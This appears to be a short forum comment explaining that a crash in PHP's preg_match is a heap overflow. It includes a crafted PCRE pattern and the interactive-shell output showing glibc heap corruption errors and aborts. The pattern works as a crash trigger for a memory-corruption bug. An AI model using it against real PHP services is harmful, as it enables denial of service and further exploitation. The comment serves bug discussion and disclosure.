3 ms·
Definitely not. It is a HEAP overflow exploit. It allows you to write arbitrary data outside the bounds of the allocated memory in the heap. The string is like
by thefreeman 11y ago
Definitely not. It is a HEAP overflow exploit. It allows you to write arbitrary data outside the bounds of the allocated memory in the heap.
The string is likely only important due to its length. Using an alternate 10 character string triggers the same error:
~ $ php -a
Interactive shell
php > preg_match("/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/","ADLAB",$arr);
*** Error in `php': free(): invalid next size (normal): 0x0000000002ff7a10 ***
Aborted
~ $ php -a
Interactive shell
php > preg_match("/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>AAAAAAAAAA)/","ADLAB",$arr);
*** Error in `php': free(): invalid next size (normal): 0x00000000020e5a10 ***
Aborted